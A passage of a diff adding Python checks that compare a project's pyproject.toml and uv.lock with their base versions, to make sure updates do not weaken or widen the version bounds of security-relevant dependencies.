+ raise SystemExit("Unbounded security dependency resolution-domain refinement")
+ if not simple_marker_overlap(fragment, candidate):
+ refined.add(fragment)
+ continue
+ intersection = tuple(sorted(set(fragment + candidate)))
+ refined.add(intersection)
+ refined.update(uncovered_marker_fragments(fragment, [candidate]))
+ remaining = {
+ uncovered for value in remaining for uncovered in uncovered_marker_fragments(value, [fragment])
+ }
+ if len(refined) + len(remaining) > 128:
+ raise SystemExit("Unbounded security dependency resolution-domain refinement")
+ refined.update(remaining)
+ if len(refined) > 128:
+ raise SystemExit("Unbounded security dependency resolution-domain refinement")
+ fragments = refined
+ aligned_previous: ResolutionDomains = {}
+ aligned_current: ResolutionDomains = {}
+ for fragment in fragments:
+ old = {
+ release for domain, releases in previous.items() if marker_overlap(domain, fragment) for release in releases
+ }
+ new = {
+ release for domain, releases in current.items() if marker_overlap(domain, fragment) for release in releases
+ }
+ if bool(old) != bool(new):
+ if not explicit_prerelease:
+ earliest = {
+ (variable, marker_version_bounds(variable, value)[0][:-5])
+ for variable, operator, value in fragment
+ if operator == "RawGtE"
+ }
+ final = {
+ (variable, marker_version_bounds(variable, value)[0][:-5])
+ for variable, operator, value in fragment
+ if operator == "RawLt"
+ }
+ if earliest & final:
+ continue
+ raise SystemExit("Do not remove or widen a locked security dependency resolution domain")
+ if old:
+ aligned_previous[fragment] = old
+ aligned_current[fragment] = new
+ return aligned_previous, aligned_current
+
+
+def minimums(requirements: set[str], *, allow_missing: bool = False, exact: bool = False) -> list[StableRelease]:
+ result: list[StableRelease] = []
+ for requirement in requirements:
+ specifier = requirement.split(";", 1)[0]
+ pattern = r"(?=!~])(?:===|>=|>|==|~=)([^,;]+)" if exact else r"(?=!~])(?:>=|>|~=)([^,;]+)"
+ matches = re.findall(pattern, specifier)
+ if exact:
+ matches = [value.strip().removesuffix(".*") for value in matches]
+ else:
+ matches.extend(re.findall(r"(?=!~])==\s*((?:(?:\d+)!)?\d+(?:\.\d+)*)\.\*(?=\s*(?:,|$))", specifier))
+ if not matches:
+ if allow_missing:
+ continue
+ raise SystemExit("Missing or ambiguous direct security dependency minimum")
+ bounds = published_bounds(requirement)
+ lower = [bound for bound in bounds if bound[0] in {">=", ">"}]
+ pinned = [bound for bound in bounds if bound[0] in {"==", "==="}]
+ for _, epoch, components, post, _ in pinned:
+ if not allows_published_release(bounds, (epoch, components, post)):
+ raise SystemExit("Missing or ambiguous direct security dependency minimum")
+ for operator, epoch, components, post, _ in lower:
+ release = epoch, components, post
+ for upper_operator, upper_epoch, upper_components, upper_post, _ in bounds:
+ if upper_operator not in {"<", "<="}:
+ continue
+ upper = upper_epoch, upper_components, upper_post
+ if (
+ release > upper
+ or release == upper
+ and (operator == ">" or upper_operator == "<")
+ or operator == ">"
+ and post == -1
+ and upper_epoch == epoch
+ and upper_components == components
+ ):
+ raise SystemExit("Missing or ambiguous direct security dependency minimum")
+ floors = lower + pinned if exact else lower
+ if not floors:
+ raise SystemExit("Missing or ambiguous direct security dependency minimum")
+ result.append(max((epoch, components, post) for _, epoch, components, post, _ in floors))
+ return sorted(result)
+
+
+def matches_protected_release(requirements: set[str], release: StableRelease, *, upper_only: bool = False) -> bool:
+ for requirement in requirements:
+ expression = requirement.split(";", 1)[0]
+ match = re.fullmatch(r"\s*([A-Za-z0-9][A-Za-z0-9_.-]*)(\[[^\]]+\])?\s*(.*)", expression)
+ if match is None:
+ raise SystemExit("Ambiguous protected security dependency requirement")
+ if not match.group(3).strip():
+ return True
+ bounds = published_bounds(requirement)
+ if upper_only:
+ bounds = tuple(bound for bound in bounds if bound[0] not in {">=", ">"})
+ if allows_published_release(bounds, release):
+ return True
+ return False
+
+
+def unchanged_nonfloor_bounds(requirement: str) -> tuple[PublishedBound, ...]:
+ return tuple(sorted(bound for bound in published_bounds(requirement) if bound[0] not in {">=", ">", "==", "==="}))
+
+
+def replacement_contexts(
+ previous_context: DependencyContext,
+ previous_requirements: set[str],
+ current_contexts: ContextRequirements,
+ domains: ResolutionDomains,
+ *,
+ exact: bool = False,
+) -> ContextRequirements:
+ current = current_contexts.get(previous_context, set())
+ if len(current) >= len(previous_requirements):
+ return {previous_context: current}
+ if current or len(previous_requirements) != 1:
+ return {}
+ original = next(iter(previous_requirements))
+ original_minimums = minimums(previous_requirements, allow_missing=True, exact=exact)
+ if len(original_minimums) != 1:
+ return {}
+ replacements = {
+ context: requirements
+ for context, requirements in current_contexts.items()
+ if context[:3] == previous_context[:3] and context[3] and marker_overlap(previous_context[3], context[3])
+ }
+ if len(replacements) < 2:
+ return {}
+ for context, requirements in replacements.items():
+ if len(requirements) != 1 or uncovered_marker_fragments(context[3], [previous_context[3]]):
+ return {}
+ replacement = next(iter(requirements))
+ if unchanged_nonfloor_bounds(replacement) != unchanged_nonfloor_bounds(original):
+ return {}
+ replacement_minimums = minimums(requirements, exact=exact)
+ if len(replacement_minimums) != 1 or replacement_minimums[0] < original_minimums[0]:
+ return {}
+ relevant = {
+ domain
+ for domain, versions in domains.items()
+ if marker_overlap(previous_context[3], domain)
+ and any(matches_protected_release(previous_requirements, stable_version(version)) for version in versions)
+ }
+ if len(relevant) < 2:
+ return {}
+ covered: set[DependencyContext] = set()
+ for domain in relevant:
+ original_domain = tuple(sorted(set(previous_context[3] + domain)))
+ matched = [context for context in replacements if marker_overlap(context[3], original_domain)]
+ if not matched or uncovered_marker_fragments(original_domain, [context[3] for context in matched]):
+ return {}
+ if any(
+ replacements[first] != replacements[second]
+ and marker_overlap(tuple(sorted(set(first[3] + second[3]))), original_domain)
+ for index, first in enumerate(matched)
+ for second in matched[index + 1 :]
+ ):
+ return {}
+ covered.update(matched)
+ return replacements if covered == set(replacements) else {}
+
+
+def preserves_requirement_source_markers(
+ previous_contexts: ContextRequirements,
+ current_contexts: ContextRequirements,
+ domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+ *,
+ extra_review: bool = False,
+) -> tuple[bool, bool]:
+ previous_sources: dict[RequirementSource, list[MarkerContext]] = {}
+ current_sources: dict[RequirementSource, list[MarkerContext]] = {}
+ for context, requirements in previous_contexts.items():
+ for requirement in requirements:
+ previous_sources.setdefault((*context[:3], requirement), []).append(context[3])
+ for context, requirements in current_contexts.items():
+ for requirement in requirements:
+ current_sources.setdefault((*context[:3], requirement), []).append(context[3])
+ previous = list(previous_sources.items())
+ current = list(current_sources.items())
+ if len(previous) > 64 or len(current) > 64 or len(previous) * len(current) > 2048:
+ raise SystemExit("Unbounded security dependency source marker assignment")
+
+ def source_bounds(requirement: str) -> tuple[PublishedBound, ...]:
+ expression = requirement.split(";", 1)[0]
+ match = re.fullmatch(r"\s*([A-Za-z0-9][A-Za-z0-9_.-]*)(\[[^\]]+\])?\s*(.*)", expression)
+ if match is None:
+ raise SystemExit("Ambiguous security dependency source requirement")
+ return published_bounds(requirement) if match.group(3).strip() else ()
+
+ def source_floor(requirement: str) -> StableRelease | None:
+ floors = [
+ (epoch, release, post)
+ for operator, epoch, release, post, _ in source_bounds(requirement)
+ if operator in {">=", ">", "==", "==="}
+ ]
+ return max(floors, default=None)
+
+ def compatible(original: str, replacement: str) -> bool:
+ if original == replacement:
+ return True
+ before, after = source_floor(original), source_floor(replacement)
+ if before is not None and (after is None or after < before):
+ return False
+ original_bounds = source_bounds(original)
+ replacement_bounds = source_bounds(replacement)
+ if any(bound[0] == "===" for bound in replacement_bounds) and not any(
+ bound[0] == "===" for bound in original_bounds
+ ):
+ return False
+ return all(
+ preserves_published_security_bound(bound, replacement_bounds)
+ for bound in original_bounds
+ if bound[0] not in {">=", ">", "==", "==="}
+ )
+
+ edges: dict[int, list[int]] = {}
+ for index, (identity, markers) in enumerate(previous):
+ matching: list[int] = []
+ for candidate, (updated, updated_markers) in enumerate(current):
+ if updated[:3] != identity[:3] or not compatible(identity[3], updated[3]):
+ continue
+ if any(uncovered_marker_fragments(marker, updated_markers) for marker in markers):
+ continue
+ if any(uncovered_marker_fragments(marker, markers) for marker in updated_markers):
+ continue
+ matching.append(candidate)
+ if matching:
+ edges[index] = matching
+
+ assigned: dict[int, int] = {}
+
+ def claim(index: int, visited: set[int]) -> bool:
+ for candidate in edges[index]:
+ if candidate in visited:
+ continue
+ visited.add(candidate)
+ original = assigned.get(candidate)
+ if original is None or claim(original, visited):
+ assigned[candidate] = index
+ return True
+ return False
+
+ for index in sorted(edges, key=lambda value: len(edges[value])):
+ if not claim(index, set()):
+ return False, False
+
+ partitioned = False
+ for index, (identity, markers) in enumerate(previous):
+ if index in assigned.values():
+ continue
+ original = identity[3]
+ if source_floor(original) is None:
+ return False, False
+ candidates = [
+ (candidate, updated_markers)
+ for candidate, (updated, updated_markers) in enumerate(current)
+ if candidate not in assigned
+ and updated[:3] == identity[:3]
+ and compatible(original, updated[3])
+ and all(not uncovered_marker_fragments(marker, markers) for marker in updated_markers)
+ ]
+ if len(candidates) < 2:
+ return False, False
+ regions = {
+ tuple(sorted(set(marker + domain)))
+ for marker in markers
+ for domain, releases in domains.items()
+ if marker_overlap(marker, domain)
+ and any(matches_protected_release({original}, stable_version(release)) for release in releases)
+ }
+ if not regions:
+ return False, False
+ covered: set[int] = set()
+ for region in regions:
+ applicable = [
+ (candidate, marker)
+ for candidate, updated_markers in candidates
+ for marker in updated_markers
+ if marker_overlap(marker, region)
+ ]
+ if not applicable or uncovered_marker_fragments(region, [marker for _, marker in applicable]):
+ return False, False
+ if any(
+ first != second and marker_overlap(tuple(sorted(set(left + right))), region)
+ for position, (first, left) in enumerate(applicable)
+ for second, right in applicable[position + 1 :]
+ ):
+ return False, False
+ covered.update(candidate for candidate, _ in applicable)
+ if covered != {candidate for candidate, _ in candidates}:
+ return False, False
+ for candidate, _ in candidates:
+ assigned[candidate] = index
+ partitioned = True
+ for candidate, (identity, markers) in enumerate(current):
+ if candidate in assigned:
+ continue
+ if identity[0] in {"runtime", "optional"} and identity[2]:
+ added_bounds = source_bounds(identity[3])
+ for bound in added_bounds:
+ reviewed_markers = [
+ marker
+ for original, original_markers in previous
+ if (original[0] == "runtime" or original[:2] == identity[:2])
+ and set(original[2]).issubset(identity[2])
+ and preserves_published_security_bound(bound, source_bounds(original[3]))
+ for marker in original_markers
+ ]
+ if any(uncovered_marker_fragments(marker, reviewed_markers) for marker in markers):
+ return False, False
+ continue
+ floor = source_floor(identity[3])
+ if floor is None:
+ return False, False
+ bounds = source_bounds(identity[3])
+ reviewed = False
+ for domain in domains.keys() | current_domains.keys():
+ previous_versions = domains.get(domain, set())
+ updated_versions = current_domains.get(domain, set())
+ if previous_versions == updated_versions or not any(marker_overlap(marker, domain) for marker in markers):
+ continue
+ removed = sorted(stable_version(version) for version in previous_versions - updated_versions)
+ patched = sorted(stable_version(version) for version in updated_versions - previous_versions)
+ if not removed or len(removed) != len(patched):
+ continue
+ if any(
+ updated > previous
+ and floor >= updated
+ and allows_published_release(bounds, updated)
+ and not allows_published_release(bounds, previous)
+ for previous, updated in zip(removed, patched, strict=True)
+ ):
+ reviewed = True
+ break
+ if not reviewed and extra_review:
+ reviewed = any(
+ any(marker_overlap(marker, domain) for marker in markers)
+ and any(
+ floor >= stable_version(version) and allows_published_release(bounds, stable_version(version))
+ for version in releases
+ )
+ for domain, releases in current_domains.items()
+ )
+ if not reviewed:
+ return False, False
+ return True, partitioned
+
+
+def preserves_supported_security_branches(
+ previous_domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+ previous_contexts: ContextRequirements,
+ current_contexts: ContextRequirements,
+) -> bool:
+ observed = False
+ for domain in previous_domains.keys() | current_domains.keys():
+ previous_versions = previous_domains.get(domain, set())
+ current_versions = current_domains.get(domain, set())
+ if previous_versions == current_versions:
+ continue
+ removed = sorted(stable_version(version) for version in previous_versions - current_versions)
+ introduced = sorted(stable_version(version) for version in current_versions - previous_versions)
+ unchanged = {stable_version(version) for version in previous_versions & current_versions}
+ if not removed or len(removed) != len(introduced):
+ return False
+ validated: dict[StableRelease, DependencyContext] = {}
+ for previous_release, patched_release in zip(removed, introduced, strict=True):
+ if (
+ patched_release <= previous_release
+ or patched_release[0] != previous_release[0]
+ or not patched_release[1]
+ or not previous_release[1]
+ or patched_release[1][0] != previous_release[1][0]
+ ):
+ return False
+ for context, previous_requirements in previous_contexts.items():
+ requirements = current_contexts.get(context, set())
+ if (
+ context in validated.values()
+ or len(previous_requirements) != 1
+ or len(requirements) != 1
+ or not marker_overlap(context[3], domain)
+ ):
+ continue
+ original = next(iter(previous_requirements))
+ replacement = next(iter(requirements))
+ bounds = unchanged_nonfloor_bounds(original)
+ if (
+ not any(bound[0] in {"<", "<="} for bound in bounds)
+ or unchanged_nonfloor_bounds(replacement) != bounds
+ or not matches_protected_release(previous_requirements, previous_release)
+ or not matches_protected_release(requirements, patched_release)
+ ):
+ continue
+ before = minimums(previous_requirements, allow_missing=True, exact=True)
+ after = minimums(requirements, exact=True)
+ if len(before) == 1 and len(after) == 1 and after[0] >= patched_release and after[0] > before[0]:
+ validated[patched_release] = context
+ break
+ if patched_release not in validated:
+ return False
+ for patched_release, context in validated.items():
+ candidates = [
+ (release, other)
+ for release, other in validated.items()
+ if release != patched_release and other != context
+ ]
+ candidates.extend(
+ (release, other)
+ for release in unchanged
+ for other, protected in previous_contexts.items()
+ if other != context
+ and marker_overlap(other[3], domain)
+ and other in current_contexts
+ and matches_protected_release(protected, release)
+ and matches_protected_release(current_contexts[other], release)
+ )
+ if not any(
+ not matches_protected_release(previous_contexts[context], release)
+ and matches_protected_release(current_contexts[other], release)
+ for release, other in candidates
+ ):
+ return False
+ observed = True
+ return observed
+
+
+def published_bounds(requirement: str) -> tuple[PublishedBound, ...]:
+ expression = requirement.split(";", 1)[0]
+ match = re.fullmatch(r"\s*([A-Za-z0-9][A-Za-z0-9_.-]*)(\[[^\]]+\])?\s*(.*)", expression)
+ if match is None:
+ raise SystemExit("Ambiguous published security dependency requirement")
+ name = canonical(match.group(1))
+ clauses = match.group(3).split(",")
+ if len(clauses) > 256:
+ raise SystemExit("Unbounded published security dependency exclusions")
+ result: list[PublishedBound] = []
+ for clause in clauses:
+ match = re.fullmatch(
+ r"(===|~=|>=|<=|==|!=|>|<)\s*((?:(\d+)!)?(\d+(?:\.\d+)*)(?:\.post(\d+))?)(\.\*)?",
+ clause.strip(),
+ )
+ if match is None or len(match.group(2)) > 128:
+ raise SystemExit("Ambiguous published security dependency bound")
+ components = match.group(4).split(".")
+ if len(components) > 16 or any(len(component) > 9 for component in components):
+ raise SystemExit("Unbounded published security dependency release")
+ wildcard = match.group(6) is not None
+ if wildcard and (match.group(1) not in {"!=", "=="} or match.group(5) is not None):
+ raise SystemExit("Ambiguous published security dependency wildcard")
+ epoch, release, post = stable_version(match.group(2))
+ if match.group(1) == "===" and any(
+ stable_version(version) == (epoch, release, post) and version != match.group(2)
+ for version in old_versions.get(name, set()) | new_versions.get(name, set())
+ ):
+ raise SystemExit("Arbitrary-equality security dependency pin does not match its raw locked release")
+ prefix = tuple(int(component) for component in components)
+ if match.group(1) == "==" and wildcard:
+ ceiling = prefix[:-1] + (prefix[-1] + 1,)
+ upper = stable_version(str(epoch) + "!" + ".".join(str(part) for part in ceiling))
+ result.extend(((">=", epoch, release, post, False), ("<", upper[0], upper[1], upper[2], False)))
+ elif match.group(1) == "~=":
+ if len(prefix) < 2 or wildcard:
+ raise SystemExit("Ambiguous compatible published security dependency bound")
+ ceiling = prefix[:-2] + (prefix[-2] + 1,)
+ upper = stable_version(str(epoch) + "!" + ".".join(str(part) for part in ceiling))
+ result.extend(((">=", epoch, release, post, False), ("<", upper[0], upper[1], upper[2], False)))
+ else:
+ result.append((match.group(1), epoch, prefix if wildcard else release, post, wildcard))
+ if len(set(result)) != len(result):
+ raise SystemExit("Ambiguous duplicate published security dependency bound")
+ return tuple(result)
+
+
+def allows_published_release(bounds: tuple[PublishedBound, ...], release: StableRelease) -> bool:
+ for operator, epoch, components, post, wildcard in bounds:
+ if wildcard:
+ candidate = release[1] + (0,) * max(0, len(components) - len(release[1]))
+ if release[0] == epoch and candidate[: len(components)] == components:
+ return False
+ continue
+ bound = epoch, components, post
+ if (
+ operator == ">="
+ and release < bound
+ or operator == ">"
+ and (release <= bound or post < 0 and release[0] == epoch and release[1] == components and release[2] >= 0)
+ or operator == "<="
+ and release > bound
+ or operator == "<"
+ and release >= bound
+ or operator in {"==", "==="}
+ and release != bound
+ or operator == "!="
+ and release == bound
+ ):
+ return False
+ return True
+
+
+def preserves_published_security_bound(previous: PublishedBound, current: tuple[PublishedBound, ...]) -> bool:
+ operator, epoch, components, post, wildcard = previous
+ if operator in {">", ">="}:
+ limit = epoch, components, post
+ for updated, candidate_epoch, candidate, candidate_post, candidate_wildcard in current:
+ if candidate_wildcard or updated not in {">", ">=", "==", "==="}:
+ continue
+ bound = candidate_epoch, candidate, candidate_post
+ if (
+ operator == ">"
+ and post < 0
+ and candidate_epoch == epoch
+ and candidate == components
+ and candidate_post >= 0
+ ):
+ continue
+ if bound > limit or bound == limit and (operator == ">=" or updated == ">"):
+ return True
+ return False
+ if operator in {"<", "<="}:
+ limit = epoch, components, post
+ for updated, candidate_epoch, candidate, candidate_post, candidate_wildcard in current:
+ if candidate_wildcard or updated not in {"<", "<=", "==", "==="}:
+ continue
+ bound = candidate_epoch, candidate, candidate_post
+ if bound < limit or bound == limit and (operator == "<=" or updated == "<"):
+ return True
+ return False
+ if operator in {"==", "==="}:
+ return any(bound == previous for bound in current)
+ if operator != "!=":
+ return True
+ if not wildcard:
+ return not allows_published_release(current, (epoch, components, post))
+
+ start_text = str(epoch) + "!" + ".".join(str(part) for part in components)
+ start = stable_version(start_text)
+ next_components = components[:-1] + (components[-1] + 1,)
+ stop = stable_version(str(epoch) + "!" + ".".join(str(part) for part in next_components))
+ for updated, candidate_epoch, candidate, candidate_post, candidate_wildcard in current:
+ if (
+ updated == "!="
+ and candidate_wildcard
+ and candidate_epoch == epoch
+ and len(candidate) <= len(components)
+ and components[: len(candidate)] == candidate
+ ):
+ return True
+ if candidate_wildcard:
+ continue
+ bound = candidate_epoch, candidate, candidate_post
+ if updated in {"<", "<="} and (bound < start or bound == start and updated == "<"):
+ return True
+ if updated in {">=", ">"} and bound >= stop:
+ return True
+ if updated in {"==", "==="}:
+ padded = candidate + (0,) * max(0, len(components) - len(candidate))
+ if candidate_epoch != epoch or padded[: len(components)] != components:
+ return True
+ return False
+
+
+def preserves_exact_pinned_release(
+ previous: PublishedBound,
+ current: tuple[PublishedBound, ...],
+ context: MarkerContext,
+ previous_domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+) -> bool:
+ if preserves_published_security_bound(previous, current):
+ return True
+ operator, epoch, components, post, wildcard = previous
+ if operator not in {"==", "==="} or wildcard:
+ return False
+ pinned = epoch, components, post
+ replacements: list[StableRelease] = []
+ for domain, versions in previous_domains.items():
+ if not marker_overlap(context, domain):
+ continue
+ prior = {stable_version(version) for version in versions}
+ if pinned not in prior:
+ continue
+ updated = {stable_version(version) for version in current_domains.get(domain, set())}
+ removed = prior - updated
+ introduced = updated - prior
+ if removed != {pinned} or len(introduced) != 1:
+ return False
+ patched = next(iter(introduced))
+ if patched <= pinned:
+ return False
+ replacements.append(patched)
+ if len(set(replacements)) != 1:
+ return False
+ patched = replacements[0]
+ return any(
+ candidate_operator == operator and not candidate_wildcard and (epoch, components, post) == patched
+ for candidate_operator, epoch, components, post, candidate_wildcard in current
+ )
+
+
+def preserves_dependency_security_bounds(
+ previous_contexts: ContextRequirements,
+ replacements: ContextReplacements,
+ previous_domains: ResolutionDomains,
+ domains: ResolutionDomains,
+) -> bool:
+ for previous_context, previous_requirements in previous_contexts.items():
+ for requirement in previous_requirements:
+ expression = requirement.split(";", 1)[0]
+ match = re.fullmatch(r"\s*([A-Za-z0-9][A-Za-z0-9_.-]*)(\[[^\]]+\])?\s*(.*)", expression)
+ if match is None:
+ raise SystemExit("Ambiguous unchanged published security dependency requirement")
+ clauses = match.group(3).split(",")
+ if not any(re.match(r"(?:===|~=|!=|<=|<|>=|>|==)", clause.strip()) for clause in clauses):
+ continue
+ before = published_bounds(requirement)
+ protected = tuple(bound for bound in before if bound[0] in {"<", "<=", "!=", ">", ">=", "==", "==="})
+ preserve_releases = any(bound[0] in {"<", "<=", "!=", "==", "==="} for bound in protected)
+ context_replacements = replacements.get(previous_context, {})
+ if not context_replacements:
+ return False
+ for replacement_context, candidates in context_replacements.items():
+ retained = {
+ stable_version(version)
+ for domain, versions in domains.items()
+ if marker_overlap(replacement_context[3], domain)
+ for version in versions
+ if allows_published_release(before, stable_version(version))
+ }
+ preserved = False
+ for candidate in candidates:
+ after = published_bounds(candidate)
+ if all(
+ preserves_exact_pinned_release(bound, after, replacement_context[3], previous_domains, domains)
+ if bound[0] in {"==", "==="}
+ else preserves_published_security_bound(bound, after)
+ for bound in protected
+ ) and (
+ not preserve_releases or all(allows_published_release(after, release) for release in retained)
+ ):
+ preserved = True
+ break
+ if not preserved:
+ return False
+ return True
+
+
+def published_lower_bound_excludes(bounds: tuple[PublishedBound, ...], epoch: int, prefix: tuple[int, ...]) -> bool:
+ for operator, bound_epoch, components, _post, wildcard in bounds:
+ if wildcard or operator not in {">=", ">"}:
+ continue
+ if epoch < bound_epoch:
+ return True
+ if epoch > bound_epoch:
+ continue
+ boundary = components + (0,) * max(0, len(prefix) - len(components))
+ if prefix < boundary[: len(prefix)]:
+ return True
+ return False
+
+
+def excludes_affected_published_branch(
+ previous_bounds: tuple[PublishedBound, ...],
+ current_bounds: tuple[PublishedBound, ...],
+ removed: StableRelease,
+ patched: StableRelease,
+ preserved: set[StableRelease],
+) -> bool:
+ if (
+ removed[0] != patched[0]
+ or not removed[1]
+ or not patched[1]
+ or removed[1][0] != patched[1][0]
+ or not set(previous_bounds).issubset(current_bounds)
+ or any(bound[0] != "!=" for bound in set(current_bounds) - set(previous_bounds))
+ or not allows_published_release(previous_bounds, removed)
+ or allows_published_release(current_bounds, removed)
+ or not allows_published_release(current_bounds, patched)
+ ):
+ return False
+ retained = {release for release in preserved if allows_published_release(previous_bounds, release)}
+ if not retained or any(not allows_published_release(current_bounds, release) for release in retained):
+ return False
+ epoch, components, post = patched
+ work = 0
+ exclusions = {
+ value
+ for operator, bound_epoch, value, _, wildcard in current_bounds
+ if operator == "!=" and wildcard and bound_epoch == epoch
+ }
+ for index in range(1, len(components)):
+ if components[index] > 256 - work:
+ return False
+ for component in range(components[index]):
+ work += 1
+ prefix = components[:index] + (component,)
+ if published_lower_bound_excludes(previous_bounds, epoch, prefix):
+ continue
+ if not any(
+ len(exclusion) <= len(prefix) and prefix[: len(exclusion)] == exclusion for exclusion in exclusions
+ ):
+ return False
+ if post >= 0:
+ if post + 1 > 256 - work:
+ return False
+ if allows_published_release(current_bounds, (epoch, components, -1)):
+ return False
+ for earlier in range(post):
+ if allows_published_release(current_bounds, (epoch, components, earlier)):
+ return False
+ return True
+
+
+def secures_supported_published_branches(
+ previous_domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+ previous_published: ContextRequirements,
+ current_published: ContextRequirements,
+ previous_protected: ContextRequirements,
+ current_protected: ContextRequirements,
+) -> bool:
+ if not preserves_supported_security_branches(
+ previous_domains, current_domains, previous_protected, current_protected
+ ):
+ return False
+ observed = False
+ for domain in previous_domains.keys() | current_domains.keys():
+ prior_versions = previous_domains.get(domain, set())
+ updated_versions = current_domains.get(domain, set())
+ if prior_versions == updated_versions:
+ continue
+ removed = sorted(stable_version(value) for value in prior_versions - updated_versions)
+ patched = sorted(stable_version(value) for value in updated_versions - prior_versions)
+ retained = {stable_version(value) for value in prior_versions & updated_versions}
+ if len(removed) != len(patched):
+ return False
+ for old, new in zip(removed, patched, strict=True):
+ covered = False
+ for context, previous in previous_published.items():
+ current = current_published.get(context, set())
+ if len(previous) != 1 or len(current) != 1 or not marker_overlap(context[3], domain):
+ continue
+ before = published_bounds(next(iter(previous)))
+ if not allows_published_release(before, old):
+ continue
+ after = published_bounds(next(iter(current)))
+ preserved = retained | {release for release in patched if release != new}
+ if not excludes_affected_published_branch(before, after, old, new, preserved):
+ return False
+ covered = True
+ if not covered:
+ return False
+ observed = True
+ return observed
+
+
+def covers_transitive_security_release(
+ requirements: ContextRequirements,
+ domain: MarkerContext,
+ fragments: tuple[MarkerContext, ...],
+ removed: StableRelease,
+ patched: StableRelease,
+ current_domains: ResolutionDomains,
+) -> bool:
+ covered: list[MarkerContext] = []
+ for context, declarations in requirements.items():
+ if not any(marker_overlap(context[3], fragment) for fragment in fragments):
+ continue
+ for requirement in declarations:
+ bounds = published_bounds(requirement)
+ floors = minimums({requirement}, allow_missing=True, exact=True)
+ reviewed_floor = len(floors) == 1 and floors[0] >= patched
+ reviewed_series = any(
+ operator == "!="
+ and wildcard
+ and epoch == removed[0]
+ and len(prefix) <= len(removed[1])
+ and removed[1][: len(prefix)] == prefix
+ for operator, epoch, prefix, _, wildcard in bounds
+ )
+ if not reviewed_floor and not reviewed_series:
+ continue
+ if not allows_published_release(bounds, patched) or allows_published_release(bounds, removed):
+ continue
+ if any(
+ (other != domain or not reviewed_floor)
+ and marker_overlap(context[3], other)
+ and any(not allows_published_release(bounds, stable_version(version)) for version in versions)
+ for other, versions in current_domains.items()
+ ):
+ continue
+ covered.append(context[3])
+ return bool(covered) and all(
+ not uncovered_marker_fragments(fragment, covered, anchor_platform_release=True) for fragment in fragments
+ )
+
+
+def preserves_additive_supported_releases(
+ context: DependencyContext,
+ bounds: tuple[PublishedBound, ...],
+ previous_contexts: ContextRequirements,
+ previous_domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+) -> bool:
+ global_scope = context[0] in {"uv-constraint", "uv-build-constraint"}
+ for current_domain, versions in current_domains.items():
+ if not marker_overlap(context[3], current_domain):
+ continue
+ for version in versions:
+ release = stable_version(version)
+ if allows_published_release(bounds, release):
+ continue
+ for previous_domain, previous_versions in previous_domains.items():
+ if not any(stable_version(previous) == release for previous in previous_versions):
+ continue
+ shared = tuple(sorted(context[3] + previous_domain))
+ if not marker_overlap(shared, current_domain):
+ continue
+ if global_scope:
+ return False
+ for original, declarations in previous_contexts.items():
+ if original[:2] != context[:2] or not matches_protected_release(declarations, release):
+ continue
+ if marker_overlap(tuple(sorted(shared + original[3])), current_domain):
+ return False
+ return True
+
+
+def reviewed_additive_protected_contexts(
+ previous_contexts: ContextRequirements,
+ current_contexts: ContextRequirements,
+ previous_domains: ResolutionDomains,
+ current_domains: ResolutionDomains,
+) -> bool:
+ additions = set(current_contexts) - set(previous_contexts)
+ if not additions:
+ return False
+ for context in additions:
+ for requirement in current_contexts[context]:
+ floors = minimums({requirement}, allow_missing=True, exact=True)
+ if len(floors) != 1:
+ return False
+ bounds = published_bounds(requirement)
+ reviewed = False
+ for domain in previous_domains.keys() | current_domains.keys():
+ previous_versions = previous_domains.get(domain, set())
+ current_versions = current_domains.get(domain, set())
+ if previous_versions == current_versions or not marker_overlap(context[3], domain):
+ continue
+ removed = sorted(stable_version(version) for version in previous_versions - current_versions)
+ patched = sorted(stable_version(version) for version in current_versions - previous_versions)
+ if len(removed) != len(patched):
+ continue
+ for previous, current in zip(removed, patched, strict=True):
+ if (
+ current <= previous
+ or floors[0] < current
+ or not allows_published_release(bounds, current)
+ or allows_published_release(bounds, previous)
+ ):
+ continue
+ prior = [
+ original[3]
+ for original, declarations in previous_contexts.items()
+ for declaration in declarations
+ if minimums({declaration}, allow_missing=True, exact=True)
+ and matches_protected_release({declaration}, previous)
+ ]
+ fragments = uncovered_marker_fragments(domain, prior)
+ if not any(marker_overlap(context[3], fragment) for fragment in fragments):
+ continue
+ if any(
+ other != domain
+ and marker_overlap(context[3], other)
+ and any(not allows_published_release(bounds, stable_version(version)) for version in versions)
+ for other, versions in current_domains.items()
+ ) or not preserves_additive_supported_releases(
+ context, bounds, previous_contexts, previous_domains, current_domains
+ ):
+ continue
+ reviewed = True
+ break
+ if reviewed:
+ break
+ if not reviewed:
+ return False
+ return True
+
+
+old_project = read_base("pyproject.toml")
+old_lock = read_base("uv.lock")
+new_project = cast(dict[str, Any], tomllib.loads(pathlib.Path("pyproject.toml").read_text()))
+new_lock = cast(dict[str, Any], tomllib.loads(pathlib.Path("uv.lock").read_text()))
+old_direct, old_contexts = direct(old_project)
+new_direct, new_contexts = direct(new_project)
+old_versions, old_resolution_contexts = versions(old_lock)
+new_versions, new_resolution_contexts = versions(new_lock)
+for name in old_resolution_contexts.keys() & new_resolution_contexts.keys():
+ old_resolution_contexts[name], new_resolution_contexts[name] = reconcile_resolution_domains(
+ old_resolution_contexts[name], new_resolution_contexts[name]
+ )
+old_protected, old_protected_contexts = direct(old_project, protected=True)
+new_protected, new_protected_contexts = direct(new_project, protected=True)
+new_requested_extra_contexts: list[tuple[str, DependencyContext]] = []
+for name, contexts in new_contexts.items():
+ previous_contexts = old_contexts.get(name, {})
+ for context in contexts:
+ if context[2] and not any(
+ previous[:2] == context[:2] and set(context[2]).issubset(previous[2]) and previous[3] == context[3]
+ for previous in previous_contexts
+ ):
+ new_requested_extra_contexts.append((name, context))
+previous_reachable: dict[str, set[tuple[str, str, MarkerContext]]] = {}
+extra_reachable: dict[str, set[tuple[str, str, MarkerContext]]] = {}
+newly_exposed: set[str] = set()
+if new_requested_extra_contexts:
+ previous_reachable = published_reachability(old_lock, old_contexts)
+ extra_reachable = requested_extra_reachability(new_lock, old_contexts, new_contexts, new_requested_extra_contexts)
+ newly_exposed = {
+ name
+ for name, audiences in extra_reachable.items()
+ for audience in audiences
+ if not any(audience_covers(previous, audience) for previous in previous_reachable.get(name, set()))
+ and not any(
+ root == name and audience_covers((context[0], context[1], context[3]), audience)
+ for root, context in new_requested_extra_contexts
+ )
+ }
+partitioned_security_sources: set[tuple[bool, str]] = set()
